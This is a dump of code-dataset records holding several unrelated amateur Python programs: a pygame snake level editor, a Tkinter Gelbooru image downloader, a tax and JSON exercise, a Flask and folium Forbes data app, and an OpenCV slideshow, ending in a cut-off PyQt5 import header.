True\r\n\r\n\r\ndef main():\r\n surface = pygame.display.set_mode((WIDTH + 300, HEIGHT))\r\n _wall = Wall(0, 0, wall_color)\r\n _portal = Portal(0, 0, 0, 0, portals_color, portals_color)\r\n cells = []\r\n walls = []\r\n portals = []\r\n portals_temp = []\r\n snake_cords = ()\r\n is_snake_add = False\r\n is_portal_add = False\r\n # adding all cells cords\r\n for row in range(int(HEIGHT / CELL_SIZE)):\r\n for column in range(int(WIDTH / CELL_SIZE)):\r\n cells.append((column * CELL_SIZE, row * CELL_SIZE))\r\n\r\n while True:\r\n game = Game()\r\n surface.fill(bg_fill_color)\r\n game.draw_bg(surface)\r\n # draw snake position\r\n if is_snake_add:\r\n pygame.draw.rect(surface, snake_color,\r\n (snake_cords[0], snake_cords[1],\r\n BLOCK_SIZE, BLOCK_SIZE))\r\n for wall in walls:\r\n pygame.draw.rect(surface, wall_color,\r\n (wall[0], wall[1], BLOCK_SIZE, BLOCK_SIZE))\r\n for portal in portals:\r\n pygame.draw.rect(surface, portals_color,\r\n (portal[0], portal[1], BLOCK_SIZE, BLOCK_SIZE))\r\n pygame.draw.rect(surface, portals_color,\r\n (portal[2], portal[3], BLOCK_SIZE, BLOCK_SIZE))\r\n # draw single portal that don't have partner\r\n if is_portal_add:\r\n pygame.draw.rect(surface, single_portal_color,\r\n (portals_temp[0][0], portals_temp[0][1],\r\n BLOCK_SIZE, BLOCK_SIZE))\r\n # draw help text\r\n draw_messages(surface)\r\n\r\n pygame.display.flip()\r\n key = pygame.key.get_pressed()\r\n mouse = pygame.mouse.get_pressed()\r\n x, y = pygame.mouse.get_pos()\r\n for event in pygame.event.get():\r\n # left mouse button\r\n if mouse[0]:\r\n for cell in cells:\r\n if is_all_conditions(x, y, cell, walls, portals_temp, portals):\r\n walls.append((cell[0], cell[1]))\r\n # right mouse button\r\n if mouse[2]:\r\n for cell in cells:\r\n if cell[0] < x < cell[0] + CELL_SIZE \\\r\n and cell[1] < y < cell[1] + CELL_SIZE:\r\n if cell in walls:\r\n walls.remove((cell[0], cell[1]))\r\n for portal in portals:\r\n if cell[0] in portal and cell[1] in portal:\r\n portals.remove(portal)\r\n if cell == snake_cords:\r\n is_snake_add = False\r\n snake_cords = ()\r\n if key[pygame.K_d]:\r\n for cell in cells:\r\n if is_all_conditions(x, y, cell, walls, portals_temp, portals):\r\n if is_portal_add:\r\n portals_temp.append((cell[0], cell[1]))\r\n portals.append((portals_temp[0][0], portals_temp[0][1],\r\n portals_temp[1][0], portals_temp[1][1]))\r\n portals_temp.clear()\r\n is_portal_add = False\r\n else:\r\n portals_temp.append((cell[0], cell[1]))\r\n is_portal_add = True\r\n if key[pygame.K_s]:\r\n for cell in cells:\r\n if is_all_conditions(x, y, cell, walls, portals_temp, portals):\r\n snake_cords = (cell[0], cell[1])\r\n is_snake_add = True\r\n if event.type == pygame.QUIT:\r\n exit()\r\n if key[pygame.K_SPACE]:\r\n walls.clear()\r\n portals.clear()\r\n portals_temp.clear()\r\n snake_cords = ()\r\n is_snake_add = False\r\n is_portal_add = False\r\n if key[pygame.K_q]:\r\n save_level('levels/level1.txt', walls, portals, is_snake_add, snake_cords)\r\n if key[pygame.K_w]:\r\n save_level('levels/level2.txt', walls, portals, is_snake_add, snake_cords)\r\n if key[pygame.K_e]:\r\n save_level('levels/level3.txt', walls, portals, is_snake_add, snake_cords)\r\n pygame.display.update()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n", "repo_name": "lapakota/snake", "sub_path": "editor.py", "file_name": "editor.py", "file_ext": "py", "file_size_in_byte": 7934, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.init", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.Color", "line_number": 10, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 14, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 14, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 15, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 16, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 16, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 17, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 18, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 18, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 19, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 20, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 20, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 21, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 22, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 22, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 23, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 24, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 24, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 25, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 26, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 26, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 27, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 28, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 28, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 29, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 30, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 30, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 31, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 32, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 32, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 33, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 34, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 34, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 35, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT.render", "line_number": 36, "usage_type": "call"}, {"api_name": "shake.NOT_BIG_FONT", "line_number": 36, "usage_type": "name"}, {"api_name": "pygame.Color", "line_number": 37, "usage_type": "call"}, {"api_name": "shake.WIDTH", "line_number": 39, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 40, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 41, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 42, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 43, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 44, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 45, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 46, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 47, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 48, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 49, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 50, "usage_type": "name"}, {"api_name": "shake.CELL_SIZE", "line_number": 67, "usage_type": "name"}, {"api_name": "shake.CELL_SIZE", "line_number": 68, "usage_type": "name"}, {"api_name": "pygame.display.set_mode", "line_number": 77, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 77, "usage_type": "attribute"}, {"api_name": "shake.WIDTH", "line_number": 77, "usage_type": "name"}, {"api_name": "shake.HEIGHT", "line_number": 77, "usage_type": "name"}, {"api_name": "shake.Wall", "line_number": 78, "usage_type": "call"}, {"api_name": "shake.wall_color", "line_number": 78, "usage_type": "argument"}, {"api_name": "shake.Portal", "line_number": 79, "usage_type": "call"}, {"api_name": "shake.portals_color", "line_number": 79, "usage_type": "argument"}, {"api_name": "shake.HEIGHT", "line_number": 88, "usage_type": "name"}, {"api_name": "shake.CELL_SIZE", "line_number": 88, "usage_type": "name"}, {"api_name": "shake.WIDTH", "line_number": 89, "usage_type": "name"}, {"api_name": "shake.CELL_SIZE", "line_number": 89, "usage_type": "name"}, {"api_name": "shake.CELL_SIZE", "line_number": 90, "usage_type": "name"}, {"api_name": "shake.Game", "line_number": 93, "usage_type": "call"}, {"api_name": "shake.bg_fill_color", "line_number": 94, "usage_type": "argument"}, {"api_name": "pygame.draw.rect", "line_number": 98, "usage_type": "call"}, {"api_name": "shake.snake_color", "line_number": 98, "usage_type": "argument"}, {"api_name": "pygame.draw", "line_number": 98, "usage_type": "attribute"}, {"api_name": "shake.BLOCK_SIZE", "line_number": 100, "usage_type": "name"}, {"api_name": "pygame.draw.rect", "line_number": 102, "usage_type": "call"}, {"api_name": "shake.wall_color", "line_number": 102, "usage_type": "argument"}, {"api_name": "pygame.draw", "line_number": 102, "usage_type": "attribute"}, {"api_name": "shake.BLOCK_SIZE", "line_number": 103, "usage_type": "name"}, {"api_name": "pygame.draw.rect", "line_number": 105, "usage_type": "call"}, {"api_name": "shake.portals_color", "line_number": 105, "usage_type": "argument"}, {"api_name": "pygame.draw", "line_number": 105, "usage_type": "attribute"}, {"api_name": "shake.BLOCK_SIZE", "line_number": 106, "usage_type": "name"}, {"api_name": "pygame.draw.rect", "line_number": 107, "usage_type": "call"}, {"api_name": "shake.portals_color", "line_number": 107, "usage_type": "argument"}, {"api_name": "pygame.draw", "line_number": 107, "usage_type": "attribute"}, {"api_name": "shake.BLOCK_SIZE", "line_number": 108, "usage_type": "name"}, {"api_name": "pygame.draw.rect", "line_number": 111, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 111, "usage_type": "attribute"}, {"api_name": "shake.BLOCK_SIZE", "line_number": 113, "usage_type": "name"}, {"api_name": "pygame.display.flip", "line_number": 117, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 118, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 119, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 120, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 120, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 121, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 121, "usage_type": "attribute"}, {"api_name": "shake.CELL_SIZE", "line_number": 130, "usage_type": "name"}, {"api_name": "shake.CELL_SIZE", "line_number": 131, "usage_type": "name"}, {"api_name": "pygame.K_d", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pygame.K_s", "line_number": 152, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 157, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 159, "usage_type": "attribute"}, {"api_name": "pygame.K_q", "line_number": 166, "usage_type": "attribute"}, {"api_name": "pygame.K_w", "line_number": 168, "usage_type": "attribute"}, {"api_name": "pygame.K_e", "line_number": 170, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 172, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 172, "usage_type": "attribute"}]} {"seq_id": "43037268937", "text": "from requests import get\nfrom io import BytesIO\ncolor=\"#252626\"\nfrom tkinter import BOTTOM, RAISED, RIGHT, Button, Label, Entry, Frame, LEFT, Tk, X\nfrom PIL import Image\nfrom time import sleep, perf_counter\nfrom random import randint\nfrom threading import Thread\nfrom random import randint\nfrom pathlib import Path\nimport os.path\nfrom os import remove\nfrom imghdr import what\nimport hashlib\n\nclass image_downloader:\n def __init__(self, master):\n self.master = master\n master.configure(bg=color)\n master.geometry('270x90+800+500')\n master.resizable(False, False)\n # Custom title bar so that its dark theme cause yes'nt\n master.overrideredirect(True)\n fake_title_bar = Frame(master, bg=color, relief=RAISED, bd=0.5)\n fake_title_bar.pack(expand=1, fill=X)\n fake_title_label = Label(fake_title_bar, text=\"\\t Sauce downloader\", bg=color, fg=\"white\")\n fake_title_label.pack(side=LEFT)\n #Binding the title bar\n def move_app(e):\n master.geometry(f'+{e.x_root-130}+{e.y_root-10}')\n def minimize():\n master.update_idletasks()\n master.overrideredirect(False)\n master.state('iconic')\n def return_to_normal_state(e=\"temp\"):\n # master.update_idletasks()\n # master.overrideredirect(True)\n # master.deiconify()\n print(perf_counter())\n def bar_check_loop():\n while True:\n if master.state() == 'iconic':\n master.bind(\"\", return_to_normal_state)\n fake_title_bar.bind('', move_app)\n fake_title_label.bind('', move_app)\n \n \n #Adding a close button\n fake_title_close_button = Button(fake_title_bar, text=\"X\", bg=color, fg=\"white\", command=master.quit).pack(side=RIGHT)\n\n # fake_title_min_button = Button(fake_title_bar, text=\"━\", bg=color, fg=\"white\", command=minimize).pack(side=RIGHT)\n #=====================================================\n master.title(\"Sauce downloader\")\n self.label = Label(master, text=\"Downloader by ~your mother\", bg=color, fg=\"white\")\n self.label.pack()\n frame1 = Frame(master,bg=color)\n frame1.pack()\n Label(frame1,text='Query:', bg=color, fg=\"white\").pack(side=LEFT)\n self.querysearch = Entry(frame1,width=10, bg=color, fg=\"white\")\n self.querysearch.pack(side=LEFT)\n Label(frame1,text=' Amount:', bg=color, fg=\"white\").pack(side=LEFT)\n self.number_of_images = Entry(frame1,width=4, bg=color, fg=\"white\")\n self.number_of_images.pack()\n frame2 = Frame(master,bg=color)\n frame2.pack(side=BOTTOM)\n self.close_button = Button(frame2, text=\"Download!\", command=self.download, bg=color, fg=\"white\").pack(side=LEFT)\n Label(frame2,text=' ', bg=color).pack(side=LEFT)\n self.post_cleanup_button = Button(frame2, text=\"Clean dupes!\", command=self.post_cleanup, bg=color, fg=\"white\").pack(side=RIGHT)\n \n def hash_file(filename):\n \"\"\"\"This function returns the SHA-1 hash\n of the file passed into it\"\"\"\n\n # make a hash object\n h = hashlib.sha1()\n\n # open file for reading in binary mode\n with open(filename,'rb') as file:\n\n # loop till the end of the file\n chunk = 0\n while chunk != b'':\n # read only 1024 bytes at a time\n chunk = file.read(1024)\n h.update(chunk)\n\n # return the hex representation of digest\n return h.hexdigest()\n \n def download(self):\n try:\n number = int(self.number_of_images.get())\n except:\n self.number_of_images.delete(0, 'end')\n self.number_of_images.insert(10, \"Enter valid number\")\n return\n try:\n tags=self.querysearch.get().replace('/', '%20')\n except:\n tags=\"ass%20boobs\"\n url = f\"https://gelbooru.com/index.php?page=dapi&s=post&q=index&json=1&limit=1&tags={tags}%20sort:random\"\n self.master.withdraw()\n sizes=[]\n def thread_func():\n while True:\n try:\n response = get(url).json()\n img_url = response['post'][0]['file_url']\n sleep(0.1)\n data = BytesIO(get(img_url).content)\n sleep(0.1)\n img = Image.open(data)\n print(f\"{Path(__file__).parent.resolve()}\\Image{randint(0,1000)}.png\")\n try:\n img.save(f\"{Path(__file__).parent.resolve()}\\Image{randint(0,9)}{randint(0,9)}{randint(0,9)}{randint(0,9)}{randint(0,9)}.png\")\n break\n except:\n print(\"Error saving\") \n except:\n print(\"Error, trying again\")\n def main():\n # create threads\n threads = []\n for i in range(number):\n threads.append(Thread(target=thread_func, args=()))\n\n # start the threads\n for thread in threads:\n thread.start()\n\n # wait for the threads to complete\n for thread in threads:\n thread.join()\n\n\n if __name__ == \"__main__\":\n start_time = perf_counter()\n\n main()\n\n end_time = perf_counter()\n print(f'It took {end_time- start_time :0.2f} second(s) to complete.')\n self.master.deiconify()\n self.master.deiconify()\n def post_cleanup(self):\n directory = Path(__file__).parent.resolve()\n file_sizes = []\n def convert_bytes(size):\n \"\"\" Convert bytes to KB, or MB or GB\"\"\"\n for x in ['bytes', 'KB', 'MB', 'GB', 'TB']:\n if size < 1024.0:\n return \"%3.1f %s\" % (size, x)\n size /= 1024.0\n dupes_found = 0\n for filename in os.listdir(directory):\n f = os.path.join(directory, filename)\n # checking if it is a file\n if os.path.isfile(f):\n if what(f) == \"png\":\n print(f)\n f_size = os.path.getsize(f)\n x = convert_bytes(f_size)\n print('file size is', x)\n if x in file_sizes:\n print(f'file \\\"{filename}\\\" is most likely a duplicate')\n dupes_found+=1\n remove(f)\n continue\n file_sizes.append(x)\n if dupes_found == 0:\n print('There are no duplicate files')\n elif dupes_found == 1:\n print(\"One duplicate file was deleted\")\n else:\n print(f'{dupes_found} duplicate files were deleted')\nroot = Tk()\ndownloader = image_downloader(root)\n\nroot.mainloop()\n", "repo_name": "DOCEA007/Hentai-downloader-fast-", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6955, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tkinter.Frame", "line_number": 24, "usage_type": "call"}, {"api_name": "tkinter.RAISED", "line_number": 24, "usage_type": "name"}, {"api_name": "tkinter.X", "line_number": 25, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 26, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 27, "usage_type": "name"}, {"api_name": "time.perf_counter", "line_number": 39, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 49, "usage_type": "call"}, {"api_name": "tkinter.RIGHT", "line_number": 49, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 54, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 56, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 58, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 58, "usage_type": "name"}, {"api_name": "tkinter.Entry", "line_number": 59, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 60, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 61, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 61, "usage_type": "name"}, {"api_name": "tkinter.Entry", "line_number": 62, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 64, "usage_type": "call"}, {"api_name": "tkinter.BOTTOM", "line_number": 65, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 66, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 66, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 67, "usage_type": "call"}, {"api_name": "tkinter.LEFT", "line_number": 67, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 68, "usage_type": "call"}, {"api_name": "tkinter.RIGHT", "line_number": 68, "usage_type": "name"}, {"api_name": "hashlib.sha1", "line_number": 75, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 107, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 109, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 110, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 110, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 111, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 112, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 112, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 113, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 113, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 115, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 115, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 125, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 137, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 141, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path.listdir", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path", "line_number": 155, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 156, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 156, "usage_type": "name"}, {"api_name": "os.path.path.isfile", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 158, "usage_type": "name"}, {"api_name": "imghdr.what", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path.path.getsize", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 161, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 161, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 167, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 176, "usage_type": "call"}]} {"seq_id": "43832823060", "text": "from os import write\nimport json\nfile_path = \"python_cp1_q1_data.txt\"\n\ndata = {\"customers\": [\"James\", \"John\", \"Robert\", \"Mary\", \"Patricia\", \"Jennifer\"],\n \"salary\": [155000, 755000, 455000, 1255000, 635000, 575000],\n \"taxes\": [55800, 317100, 182000, 451800, 171450, 71400]}\n#data = {}\n\ndef print_customers_small_tax():\n for c, s, t in zip(data[\"customers\"], data[\"salary\"], data[\"taxes\"]):\n if (t / s) < .3:\n print(c)\n\nprint_customers_small_tax()\n\n# --------------------------\n\ndef load_dict():\n try:\n file = open(file_path, \"r\")\n data = json.load(file)\n except Exception as e:\n print(\"Load fail: \", e)\n finally:\n file.close()\n\ndef save_dict():\n try:\n file = open(file_path, 'w')\n json.dump(data, file)\n except Exception as e:\n print(\"Save fail: \", e)\n finally:\n file.close()\nprint(\"-\")\n# --------------------------\n", "repo_name": "awaudun/checkpoint_python_audun", "sub_path": "question_1_lev2.py", "file_name": "question_1_lev2.py", "file_ext": "py", "file_size_in_byte": 924, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.load", "line_number": 22, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 31, "usage_type": "call"}]} {"seq_id": "43685292634", "text": "from flask import Flask, render_template, request\nimport pandas as pd\nimport plotly.offline as py\nimport cufflinks as cf\nimport numpy as np\nimport plotly.graph_objs as go\nimport webbrowser\nimport folium\nfrom pandas import DataFrame\n\napp = Flask(__name__, static_folder=\"templates\")\n\n# 导入数据\ndata = pd.read_csv('forbes.csv')\nregions_available = list(data.values)\ncf.set_config_file(offline=True, theme=\"ggplot\")\npy.offline.init_notebook_mode()\nN = pd.read_csv('forbes.csv', encoding=\"utf8\",\n keep_default_na=False, na_values='na_rep')\nN.head()\n\n# Count crime numbers in each neighborhood\ndata5 = N.iloc[0:100, :]\n\ndisdata5 = pd.DataFrame(data['行业'].value_counts())\ndisdata5.reset_index(inplace=True)\ndisdata5.rename(columns={'index': '分类', 'PdDistrict': 'Count'}, inplace=True)\n\ndata4 = N.iloc[0:20, :]\n\ndisdata4 = pd.DataFrame(data['行业'].value_counts())\ndisdata4.reset_index(inplace=True)\ndisdata4.rename(columns={'index': '分类', 'PdDistrict': 'Count'}, inplace=True)\n\n\n\n# def entry_page() -> 'html':\n# return render_template('首页.html')\n\n@app.route('/all', methods=['GET'])\ndef for_bes_2019():\n # def 首页() -> 'html':\n # return render_template('首页.html')\n data_str = data.to_html()\n #fig = data.iplot(kind=\"bar\", x=\"行业\", y=\"国籍\", asFigure=True)\n # py.offline.plot(fig, filename=\"行业（全部）.html\", auto_open=False)\n with open(\"行业（全部）.html\", encoding=\"utf8\", mode=\"r\") as f:\n plot_all = \"\".join(f.readlines())\n\n # regions_available = regions_available_loaded # 下拉选单有内容\n return render_template('results2.html',\n the_plot_all=plot_all,\n the_res=data_str,\n # the_select_region=regions_availa\n )\n\n\n@app.route('/city', methods=['POST'])\ndef star_select() -> 'html':\n the_region = request.form[\"the_region_selected\"]\n print(the_region) # 检查用户输入\n dfs = disdata4.query(\"region=='{}'\".format(the_region))\n df_summary = dfs.groupby(\"行业\").agg(\n {\"数量\": \"number\"}).sort_values(by=\"数量\", ascending=False)\n print(df_summary.head(5)) # 在后台检查描述性统计\n # 显示前100名富豪所在的国籍的地图\n latitude = 39.92\n longitude = 116.46\n\n from folium import plugins\n\n # let's start again with a clean copy of the map of San Francisco\n san_map = folium.Map(location=[latitude, longitude], zoom_start=4)\n\n # instantiate a mark cluster object for the incidents in the dataframe\n incidents = plugins.MarkerCluster().add_to(san_map)\n\n # loop through the dataframe and add each data point to the mark cluster\n for lat, lng, label, in zip(d2.y, d2.x, N.中文姓名):\n folium.Marker(\n location=[lat, lng],\n icon=None,\n popup=label,\n ).add_to(incidents)\n\n # add incidents to map\n san_map.add_child(incidents)\n\n\n@app.route('/forbes', methods=['GET'])\ndef hu_run_select() -> 'html':\n limit = request.args.get(\"limit\") # 取得用户交互输入\n print(limit) # 检查用户输入, 在后台\n\n if limit == '20':\n data_str = data4.to_html()\n kind_data = disdata4[:20].to_html()\n file = \"行业20.html\"\n else:\n data_str = data5.to_html()\n kind_data = disdata5[:100].to_html()\n file = \"行业100.html\"\n print(file)\n with open(file, encoding=\"utf8\", mode=\"r\") as f: # 把\"成果.html\"當文字檔讀入成字符串\n plot_all = \"\".join(f.readlines())\n\n # regions_available = regions_available_loaded # 下拉选单有内容\n return render_template('results2.html',\n the_plot_all=plot_all,\n the_res=data_str,\n the_select_region=regions_available,\n kind_data=kind_data\n )\n\n\n@app.route('/allmap')\ndef allmap() -> 'html':\n return render_template('地图（全部）.html')\n\n\n@app.route('/map20')\ndef map20() -> 'html':\n return render_template('地图（20）.html')\n\n\n@app.route('/map100')\ndef map100() -> 'html':\n return render_template('地图（100）.html')\n\n\n@app.route('/')\n@app.route('/首页')\ndef entry_page() -> 'html':\n return render_template('首页.html')\n\n\nif __name__ == '__main__':\n app.run(port=8000, debug=True) # debug=True, 在py使用, 在ipynb不使用\n", "repo_name": "fanyingxi/python_flask", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 4433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "cufflinks.set_config_file", "line_number": 16, "usage_type": "call"}, {"api_name": "plotly.offline.offline.init_notebook_mode", "line_number": 17, "usage_type": "call"}, {"api_name": "plotly.offline.offline", "line_number": 17, "usage_type": "attribute"}, {"api_name": "plotly.offline", "line_number": 17, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "folium.Map", "line_number": 73, "usage_type": "call"}, {"api_name": "folium.plugins.MarkerCluster", "line_number": 76, "usage_type": "call"}, {"api_name": "folium.plugins", "line_number": 76, "usage_type": "name"}, {"api_name": "folium.Marker", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 92, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 92, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 123, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 128, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 134, "usage_type": "call"}]} {"seq_id": "71992899132", "text": "import cv2\nimport time\n\n# Lista de rutas de las imágenes\nimage_paths = [\"clock_anger.png\",\"clock_fear.png\",\"clock_neutral.png\"]\n\n# Inicializa el índice de la imagen actual\ncurrent_image_index = 0\n\n# Configura la ventana de OpenCV\ncv2.namedWindow(\"Imagen\")\n\nwhile True:\n # Carga la imagen actual\n img_path = image_paths[current_image_index]\n img = cv2.imread(img_path)\n\n if img is not None:\n # Muestra la imagen\n cv2.imshow(\"Imagen\", img)\n\n # Espera durante un tiempo (puedes ajustar el tiempo de visualización)\n key = cv2.waitKey(2000)\n\n # Cierra la ventana\n cv2.destroyWindow(\"Imagen\")\n\n # Incrementa el índice para pasar a la siguiente imagen\n current_image_index += 1\n\n # Si alcanza el final de la lista de imágenes, vuelve al principio\n if current_image_index == len(image_paths):\n current_image_index = 0\n else:\n print(\"Fin de la presentación de imágenes.\")\n break\n\n# Cierra la ventana y finaliza el programa\ncv2.destroyAllWindows()\n", "repo_name": "ReEduu/CDS", "sub_path": "test_1/image_transitions.py", "file_name": "image_transitions.py", "file_ext": "py", "file_size_in_byte": 1055, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.namedWindow", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.destroyWindow", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 39, "usage_type": "call"}]} {"seq_id": "18227205328", "text": "\nfrom PyQt5.QtWidgets import QTextEdit, QPushButton, QLabel, QHBoxLayout, QVBoxLayout, QWidget, QApplication\nfrom PyQt5.QtGui import QFont, QFocusEvent\nfrom PyQt5.QtCore import Qt, QSize, pyqtSignal, 